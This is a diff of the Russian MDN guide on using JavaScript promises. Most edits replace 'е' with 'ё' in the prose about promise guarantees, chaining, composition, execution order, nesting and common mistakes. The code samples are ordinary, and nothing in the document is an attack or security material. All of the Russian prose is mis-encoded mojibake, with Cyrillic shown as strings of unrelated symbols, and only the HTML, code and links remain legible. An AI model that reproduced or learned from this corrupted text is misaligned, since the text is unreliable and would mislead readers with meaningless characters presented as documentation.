-<p class="summary">{{jsxref("Promise")}} (промис, Π°Π½Π³Π». "ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠ΅") - это ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠΉ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎΠ³ΠΎΒ ΠΈΠ»ΠΈ Π½Π΅ΡƒΠ΄Π°Ρ‡Π½ΠΎΠ³ΠΎΒ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡΒ Π°ΡΠΈΠ½Ρ…Ρ€ΠΎΠ½Π½ΠΎΠΉ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ. Π’Π°ΠΊ ΠΊΠ°ΠΊ Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ людСй ΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ ΡƒΠΆΠ΅ созданными промисами, это руководство Π½Π°Ρ‡Π½Π΅ΠΌ с объяснСния использования Π²Π΅Ρ€Π½ΡƒΠ²ΡˆΠΈΡ…ΡΡ промисов Π΄ΠΎ объяснСния ΠΏΡ€ΠΈΠ½Ρ†ΠΈΠΏΠΎΠ² создания.Β </p>
+<p class="summary">{{jsxref("Promise")}} (промис, Π°Π½Π³Π». "ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠ΅") - это ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠΉ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎΠ³ΠΎΒ ΠΈΠ»ΠΈ Π½Π΅ΡƒΠ΄Π°Ρ‡Π½ΠΎΠ³ΠΎΒ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡΒ Π°ΡΠΈΠ½Ρ…Ρ€ΠΎΠ½Π½ΠΎΠΉ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ. Π’Π°ΠΊ ΠΊΠ°ΠΊ Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ людСй ΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ ΡƒΠΆΠ΅ созданными промисами, это руководство Π½Π°Ρ‡Π½Ρ‘ΠΌ с объяснСния использования Π²Π΅Ρ€Π½ΡƒΠ²ΡˆΠΈΡ…ΡΡ промисов Π΄ΠΎ объяснСния ΠΏΡ€ΠΈΠ½Ρ†ΠΈΠΏΠΎΠ² создания.Β </p>
<p>Π’ сущности, промис - это Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΡ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, Π² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ записываСтС два колбэка вмСсто Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‚ΡŒ ΠΈΡ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ.</p>
@@ -65,7 +65,7 @@ promise.then(successCallback, failureCallback);</pre>
<h2 id="Π“Π°Ρ€Π°Π½Ρ‚ΠΈΠΈ">Π“Π°Ρ€Π°Π½Ρ‚ΠΈΠΈ</h2>
-<p>Π’ ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ старомодных ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½Ρ‹Ρ… колбэков промис Π΄Π°Π΅Ρ‚ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π³Π°Ρ€Π°Π½Ρ‚ΠΈΠΈ:</p>
+<p>Π’ ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ старомодных ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½Ρ‹Ρ… колбэков промис Π΄Π°Ρ‘Ρ‚ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π³Π°Ρ€Π°Π½Ρ‚ΠΈΠΈ:</p>
<ul>
<li>Колбэки Π½ΠΈΠΊΠΎΠ³Π΄Π° Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚ Π²Ρ‹Π·Π²Π°Π½Ρ‹ Π΄ΠΎ <a href="/ru/docs/Web/JavaScript/EventLoop#Никогда_Π½Π΅_блокируСтся">Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ события</a> Π² событийном Ρ†ΠΈΠΊΠ»Π΅ JavaScript.</li>
@@ -134,7 +134,7 @@ let promise2 = promise.then(successCallback, failureCallback);
<h3 id="Π¦Π΅ΠΏΠΎΡ‡ΠΊΠ°_Π²Ρ‹Π·ΠΎΠ²ΠΎΠ²_послС_catch">Π¦Π΅ΠΏΠΎΡ‡ΠΊΠ° Π²Ρ‹Π·ΠΎΠ²ΠΎΠ² послС catch</h3>
-<p>МоТно ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠΈΡ‚ΡŒ Ρ†Π΅ΠΏΠΎΡ‡ΠΊΡƒ Π²Ρ‹Π·ΠΎΠ²ΠΎΠ² <em>послС </em>ошибки, Ρ‚. Π΅. послС <code>catch</code>, Ρ‡Ρ‚ΠΎ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ для выполнСния Π½ΠΎΠ²Ρ‹Ρ… дСйствий Π΄Π°ΠΆΠ΅ послС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ дСйствиС Π²Π΅Ρ€Π½Π΅Ρ‚ ΠΎΡˆΠΈΠ±ΠΊΡƒ Π² Ρ†Π΅ΠΏΠΎΡ‡ΠΊΠ΅ Π²Ρ‹Π·ΠΎΠ²ΠΎΠ². НиТС ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½ ΠΏΡ€ΠΈΠΌΠ΅Ρ€:</p>
+<p>МоТно ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠΈΡ‚ΡŒ Ρ†Π΅ΠΏΠΎΡ‡ΠΊΡƒ Π²Ρ‹Π·ΠΎΠ²ΠΎΠ² <em>послС </em>ошибки, Ρ‚. Π΅. послС <code>catch</code>, Ρ‡Ρ‚ΠΎ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ для выполнСния Π½ΠΎΠ²Ρ‹Ρ… дСйствий Π΄Π°ΠΆΠ΅ послС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ дСйствиС Π²Π΅Ρ€Π½Ρ‘Ρ‚ ΠΎΡˆΠΈΠ±ΠΊΡƒ Π² Ρ†Π΅ΠΏΠΎΡ‡ΠΊΠ΅ Π²Ρ‹Π·ΠΎΠ²ΠΎΠ². НиТС ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½ ΠΏΡ€ΠΈΠΌΠ΅Ρ€:</p>
<pre class="syntaxbox"><code class="language-js"><span class="keyword token">new</span> <span class="class-name token">Promise</span><span class="punctuation token">(</span><span class="punctuation token">(</span>resolve<span class="punctuation token">,</span> reject<span class="punctuation token">)</span> <span class="operator token">=</span><span class="operator token">&gt;</span> <span class="punctuation token">{</span>
console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="string token">'</span></code>Начало<code class="language-js"><span class="string token">'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
@@ -221,7 +221,7 @@ wait(10000).then(() =&gt; saySomething("10 seconds")).catch(failureCallback);</c
<h2 id="ΠšΠΎΠΌΠΏΠΎΠ·ΠΈΡ†ΠΈΡ">ΠšΠΎΠΌΠΏΠΎΠ·ΠΈΡ†ΠΈΡ</h2>
-<p>{{jsxref("Promise.resolve()")}} ΠΈ {{jsxref("Promise.reject()")}} ΠΊΠΎΡ€ΠΎΡ‚ΠΊΠΈΠΉ способ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΡƒΠΆΠ΅Β ΡƒΡΠΏΠ΅ΡˆΠ½Ρ‹Π΅Β ΠΈΠ»ΠΈ отклонСнныС промисы соотвСтствСнно. Π­Ρ‚ΠΎ ΠΈΠ½ΠΎΠ³Π΄Π° Π±Ρ‹Π²Π°Π΅Ρ‚ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ.</p>
+<p>{{jsxref("Promise.resolve()")}} ΠΈ {{jsxref("Promise.reject()")}} ΠΊΠΎΡ€ΠΎΡ‚ΠΊΠΈΠΉ способ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΡƒΠΆΠ΅Β ΡƒΡΠΏΠ΅ΡˆΠ½Ρ‹Π΅Β ΠΈΠ»ΠΈ отклонённыС промисы соотвСтствСнно. Π­Ρ‚ΠΎ ΠΈΠ½ΠΎΠ³Π΄Π° Π±Ρ‹Π²Π°Π΅Ρ‚ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ.</p>
<p>{{jsxref("Promise.all()")}} ΠΈΒ {{jsxref("Promise.race()")}} - Π΄Π²Π° ΠΌΠ΅Ρ‚ΠΎΠ΄Π° Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ асинхронныС ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ ΠΏΠ°Ρ€Π°Π»Π»Π΅Π»ΡŒΠ½ΠΎ.</p>
@@ -236,7 +236,7 @@ wait(10000).then(() =&gt; saySomething("10 seconds")).catch(failureCallback);</c
<pre><code>const applyAsync = (acc,val) =&gt; acc.then(val);
const composeAsync = (...funcs) =&gt; x =&gt; funcs.reduce(applyAsync, Promise.resolve(x));</code></pre>
-<p><code>composeAsync</code> функция ΠΏΡ€ΠΈΠΌΠ΅Ρ‚ любоС количСство Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ Π² качСствС аргумСнтов ΠΈ Π²Π΅Ρ€Π½Π΅Ρ‚ Π½ΠΎΠ²ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽΒ ΠΊΠΎΡ‚ΠΎΡ€Π°Ρ ΠΏΡ€ΠΈΠΌΠ΅Ρ‚ Π² ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°Ρ… Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½ΠΎΠ΅ ΠΏΠΎ Ρ†Π΅ΠΏΠΎΡ‡ΠΊΠ΅. Π­Ρ‚ΠΎ ΡƒΠ΄ΠΎΠ±Π½ΠΎ, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎΒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ»ΠΈ всС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ либо асинхронными либо синхронными, ΠΈ ΠΎΠ½ΠΈ Π³Π°Ρ€Π°Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎ выполнятся Π² ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠΉ ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ:</p>
+<p><code>composeAsync</code> функция ΠΏΡ€ΠΈΠΌΠ΅Ρ‚ любоС количСство Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ Π² качСствС аргумСнтов ΠΈ Π²Π΅Ρ€Π½Ρ‘Ρ‚ Π½ΠΎΠ²ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽΒ ΠΊΠΎΡ‚ΠΎΡ€Π°Ρ ΠΏΡ€ΠΈΠΌΠ΅Ρ‚ Π² ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°Ρ… Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½ΠΎΠ΅ ΠΏΠΎ Ρ†Π΅ΠΏΠΎΡ‡ΠΊΠ΅. Π­Ρ‚ΠΎ ΡƒΠ΄ΠΎΠ±Π½ΠΎ, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎΒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ»ΠΈ всС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ либо асинхронными либо синхронными, ΠΈ ΠΎΠ½ΠΈ Π³Π°Ρ€Π°Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎ выполнятся Π² ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠΉ ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ:</p>
<pre><code>const transformData = composeAsync(func1, asyncFunc1, asyncFunc2, func2);
transformData(data);</code></pre>
@@ -249,7 +249,7 @@ transformData(data);</code></pre>
<h2 id="ΠŸΠΎΡ€ΡΠ΄ΠΎΠΊ_выполнСния">ΠŸΠΎΡ€ΡΠ΄ΠΎΠΊ выполнСния</h2>
-<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΈΠ·Π±Π΅ΠΆΠ°Ρ‚ΡŒ ΡΡŽΡ€ΠΏΡ€ΠΈΠ·ΠΎΠ², Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½Ρ‹Π΅ Π²Β <code>then</code>Β Π½ΠΈΠΊΠΎΠ³Π΄Π° Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚ вызваны синхронно, Π΄Π°ΠΆΠ΅ с ΡƒΠΆΠ΅ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹ΠΌ промисом:</p>
+<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΈΠ·Π±Π΅ΠΆΠ°Ρ‚ΡŒ ΡΡŽΡ€ΠΏΡ€ΠΈΠ·ΠΎΠ², Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½Ρ‹Π΅ Π²Β <code>then</code>Β Π½ΠΈΠΊΠΎΠ³Π΄Π° Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚ вызваны синхронно, Π΄Π°ΠΆΠ΅ с ΡƒΠΆΠ΅ Ρ€Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹ΠΌ промисом:</p>
<pre><code>Promise.resolve().then(() =&gt; console.log(2));
console.log(1); // 1, 2</code></pre>
@@ -264,9 +264,9 @@ console.log(1); // 1, 2, 3, 4</code></pre>
<h2 id="Π’Π»ΠΎΠΆΠ΅Π½Π½ΠΎΡΡ‚ΡŒ">Π’Π»ΠΎΠΆΠ΅Π½Π½ΠΎΡΡ‚ΡŒ</h2>
-<p>ΠŸΡ€ΠΎΡΡ‚Ρ‹Π΅ Ρ†Π΅ΠΏΠΎΡ‡ΠΊΠΈ promise Π»ΡƒΡ‡ΡˆΠ΅ ΠΎΡΡ‚Π°Π²Π»ΡΡ‚ΡŒ Π±Π΅Π· Π²Π»ΠΎΠΆΠ΅Π½ΠΈΠΉ, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ Π²Π»ΠΎΠΆΠ΅Π½Π½ΠΎΡΡ‚ΡŒ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠΌ Π½Π΅Π±Ρ€Π΅ΠΆΠ½ΠΎΠΉ структуры. Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅ <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Guide/Ispolzovanie_promisov$edit#Common_mistakes">распространСнныС ошибки</a>.</p>
+<p>ΠŸΡ€ΠΎΡΡ‚Ρ‹Π΅ Ρ†Π΅ΠΏΠΎΡ‡ΠΊΠΈ promise Π»ΡƒΡ‡ΡˆΠ΅ ΠΎΡΡ‚Π°Π²Π»ΡΡ‚ΡŒ Π±Π΅Π· Π²Π»ΠΎΠΆΠ΅Π½ΠΈΠΉ, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ Π²Π»ΠΎΠΆΠ΅Π½Π½ΠΎΡΡ‚ΡŒ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠΌ Π½Π΅Π±Ρ€Π΅ΠΆΠ½ΠΎΠΉ структуры. Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅ <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Guide/Ispolzovanie_promisov$edit#Common_mistakes">распространённыС ошибки</a>.</p>
-<p>Π’Π»ΠΎΠΆΠ΅Π½Π½ΠΎΡΡ‚ΡŒ - это ΡƒΠΏΡ€Π°Π²Π»ΡΡŽΡ‰Π°Ρ структура, ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡ΠΈΠ²Π°ΡŽΡ‰Π°Ρ ΠΎΠ±Π»Π°ΡΡ‚ΡŒ дСйствия ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ΠΎΠ² catch. Π’ частности, Π²Π»ΠΎΠΆΠ΅Π½Π½Ρ‹ΠΉ catch Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΠ΅Ρ€Π΅Ρ…Π²Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚ сбои Π² своСй области ΠΈ Π½ΠΈΠΆΠ΅, Π° Π½Π΅ ошибки Π²Ρ‹ΡˆΠ΅ Π² Ρ†Π΅ΠΏΠΎΡ‡ΠΊΠ΅ Π·Π° ΠΏΡ€Π΅Π΄Π΅Π»Π°ΠΌΠΈ Π²Π»ΠΎΠΆΠ΅Π½Π½ΠΎΠΉ области. ΠŸΡ€ΠΈ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠΌ использовании это Π΄Π°Π΅Ρ‚ Π±ΠΎΠ»ΡŒΡˆΡƒΡŽ Ρ‚ΠΎΡ‡Π½ΠΎΡΡ‚ΡŒ Π² ΠΈΠ·Π²Π»Π΅Ρ‡Π΅Π½ΠΈΠ΅ ошибок:</p>
+<p>Π’Π»ΠΎΠΆΠ΅Π½Π½ΠΎΡΡ‚ΡŒ - это ΡƒΠΏΡ€Π°Π²Π»ΡΡŽΡ‰Π°Ρ структура, ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡ΠΈΠ²Π°ΡŽΡ‰Π°Ρ ΠΎΠ±Π»Π°ΡΡ‚ΡŒ дСйствия ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ΠΎΠ² catch. Π’ частности, Π²Π»ΠΎΠΆΠ΅Π½Π½Ρ‹ΠΉ catch Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΠ΅Ρ€Π΅Ρ…Π²Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚ сбои Π² своСй области ΠΈ Π½ΠΈΠΆΠ΅, Π° Π½Π΅ ошибки Π²Ρ‹ΡˆΠ΅ Π² Ρ†Π΅ΠΏΠΎΡ‡ΠΊΠ΅ Π·Π° ΠΏΡ€Π΅Π΄Π΅Π»Π°ΠΌΠΈ Π²Π»ΠΎΠΆΠ΅Π½Π½ΠΎΠΉ области. ΠŸΡ€ΠΈ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠΌ использовании это Π΄Π°Ρ‘Ρ‚ Π±ΠΎΠ»ΡŒΡˆΡƒΡŽ Ρ‚ΠΎΡ‡Π½ΠΎΡΡ‚ΡŒ Π² ΠΈΠ·Π²Π»Π΅Ρ‡Π΅Π½ΠΈΠ΅ ошибок:</p>
<pre><code>doSomethingCritical()
.then(result =&gt; doSomethingOptional()
@@ -291,7 +291,7 @@ doSomething().then(function(result) {
}).then(() =&gt; doFourthThing());
// Π—Π°Π±Ρ‹Π» Π·Π°ΠΊΠΎΠ½Ρ‡ΠΈΡ‚ΡŒ Ρ†Π΅ΠΏΠΎΡ‡ΠΊΡƒ ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌ catch</code></pre>
-<p>ΠŸΠ΅Ρ€Π²Π°Ρ ошибка это Π½Π΅ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ ΡΡ†Π΅ΠΏΠΈΡ‚ΡŒ Π²Π΅Ρ‰ΠΈ ΠΌΠ΅ΠΆΠ΄Ρƒ собой. Π’Π°ΠΊΠΎΠ΅ происходит ΠΊΠΎΠ³Π΄Π° ΠΌΡ‹ создаСм промис Π½ΠΎ Π·Π°Π±Ρ‹Π²Π°Π΅ΠΌ Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒ Π΅Π³ΠΎ. Как слСдствиС, Ρ†Π΅ΠΏΠΎΡ‡ΠΊΠ° сломана, Π½ΠΎ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Π΅Π΅ Π±Ρ‹Π»ΠΎ Π±Ρ‹ ΡΠΊΠ°Π·Π°Ρ‚ΡŒ Ρ‡Ρ‚ΠΎ Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Ρƒ нас Π΅ΡΡ‚ΡŒ Π΄Π²Π΅ нСзависимыС Ρ†Π΅ΠΏΠΎΡ‡ΠΊΠΈ, ΡΠΎΡ€Π΅Π²Π½ΡƒΡŽΡ‰ΠΈΠ΅ΡΡ Π·Π° ΠΏΡ€Π°Π²ΠΎ Ρ€Π°Π·Ρ€Π΅ΡˆΠΈΡ‚ΡΡ ΠΏΠ΅Ρ€Π²ΠΎΠΉ. Π­Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚Β <code>doFourthThing()</code>Β Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΆΠ΄Π°Ρ‚ΡŒΒ <code>doSomethingElse()</code>Β ΠΈΠ»ΠΈΒ <code>doThirdThing()</code>Β ΠΏΠΎΠΊΠ° Ρ‚ΠΎΡ‚ закончится,Β ΠΈ Π±ΡƒΠ΄Π΅Ρ‚ исполнятся ΠΏΠ°Ρ€Π°Π»Π»Π΅Π»ΡŒΠ½ΠΎ с Π½ΠΈΠΌΠΈ, это ,вСроятно, Π½Π΅ Ρ‚ΠΎ Ρ‡Ρ‚ΠΎ Ρ…ΠΎΡ‚Π΅Π» Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ. ΠžΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Π΅ Ρ†Π΅ΠΏΠΎΡ‡ΠΊΠΈ Ρ‚Π°ΠΊΠΆΠ΅ ΠΈΠΌΠ΅ΡŽΡ‚ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΡƒΡŽ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΡƒ ошибок, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΈΠ²ΠΎΠ΄ΠΈΡ‚ ΠΊ Π½Π΅ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Π½Π½Ρ‹ΠΌΒ ΠΎΡˆΠΈΠ±ΠΊΠ°ΠΌ.</p>
+<p>ΠŸΠ΅Ρ€Π²Π°Ρ ошибка это Π½Π΅ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ ΡΡ†Π΅ΠΏΠΈΡ‚ΡŒ Π²Π΅Ρ‰ΠΈ ΠΌΠ΅ΠΆΠ΄Ρƒ собой. Π’Π°ΠΊΠΎΠ΅ происходит ΠΊΠΎΠ³Π΄Π° ΠΌΡ‹ создаём промис Π½ΠΎ Π·Π°Π±Ρ‹Π²Π°Π΅ΠΌ Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒ Π΅Π³ΠΎ. Как слСдствиС, Ρ†Π΅ΠΏΠΎΡ‡ΠΊΠ° сломана, Π½ΠΎ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Π΅Π΅ Π±Ρ‹Π»ΠΎ Π±Ρ‹ ΡΠΊΠ°Π·Π°Ρ‚ΡŒ Ρ‡Ρ‚ΠΎ Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Ρƒ нас Π΅ΡΡ‚ΡŒ Π΄Π²Π΅ нСзависимыС Ρ†Π΅ΠΏΠΎΡ‡ΠΊΠΈ, ΡΠΎΡ€Π΅Π²Π½ΡƒΡŽΡ‰ΠΈΠ΅ΡΡ Π·Π° ΠΏΡ€Π°Π²ΠΎ Ρ€Π°Π·Ρ€Π΅ΡˆΠΈΡ‚ΡΡ ΠΏΠ΅Ρ€Π²ΠΎΠΉ. Π­Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚Β <code>doFourthThing()</code>Β Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΆΠ΄Π°Ρ‚ΡŒΒ <code>doSomethingElse()</code>Β ΠΈΠ»ΠΈΒ <code>doThirdThing()</code>Β ΠΏΠΎΠΊΠ° Ρ‚ΠΎΡ‚ закончится,Β ΠΈ Π±ΡƒΠ΄Π΅Ρ‚ исполнятся ΠΏΠ°Ρ€Π°Π»Π»Π΅Π»ΡŒΠ½ΠΎ с Π½ΠΈΠΌΠΈ, это ,вСроятно, Π½Π΅ Ρ‚ΠΎ Ρ‡Ρ‚ΠΎ Ρ…ΠΎΡ‚Π΅Π» Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ. ΠžΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Π΅ Ρ†Π΅ΠΏΠΎΡ‡ΠΊΠΈ Ρ‚Π°ΠΊΠΆΠ΅ ΠΈΠΌΠ΅ΡŽΡ‚ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΡƒΡŽ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΡƒ ошибок, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΈΠ²ΠΎΠ΄ΠΈΡ‚ ΠΊ Π½Π΅ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Π½Π½Ρ‹ΠΌΒ ΠΎΡˆΠΈΠ±ΠΊΠ°ΠΌ.</p>
<p>Вторая ошибка это излишняя Π²Π»ΠΎΠΆΠ΅Π½Π½ΠΎΡΡ‚ΡŒ, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ ΠΏΠ΅Ρ€Π²ΡƒΡŽ ΠΎΡˆΠΈΠ±ΠΊΡƒ. Π’Π»ΠΎΠΆΠ΅Π½Π½ΠΎΡΡ‚ΡŒ Ρ‚Π°ΠΊΠΆΠ΅ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡ΠΈΠ²Π°Π΅Ρ‚ ΠΎΠ±Π»Π°ΡΡ‚ΡŒ видимости внутрСнних ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ² ошибок, Ссли это Π½Π΅ Ρ‚ΠΎ Ρ‡Π΅Π³ΠΎ Ρ…ΠΎΡ‚Π΅Π» Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ, это ΠΌΠΎΠΆΠ΅Ρ‚ привСсти ΠΊ Π½Π΅ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Π½Π½Ρ‹ΠΌ ошибкам. ΠŸΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠΌ этого являСтся <a href="https://stackoverflow.com/questions/23803743/what-is-the-explicit-promise-construction-antipattern-and-how-do-i-avoid-it">ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΊΠ°ΠΊ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ обСщания</a>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉΒ ΠΊΠΎΠΌΠ±ΠΈΠ½ΠΈΡ€ΡƒΠ΅Ρ‚ Π²Π»ΠΎΠΆΠ΅Π½Π½ΠΎΡΡ‚ΡŒΒ Ρ Ρ‡Ρ€Π΅Π·ΠΌΠ΅Ρ€Π½Ρ‹ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π½ΠΈΠ΅ΠΌΒ ΠΊΠΎΠ½ΡΡ‚Ρ€ΡƒΠΊΡ‚ΠΎΡ€Π° обСщаний для оборачивания ΠΊΠΎΠ΄Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΡƒΠΆΠ΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ промисы.</p>
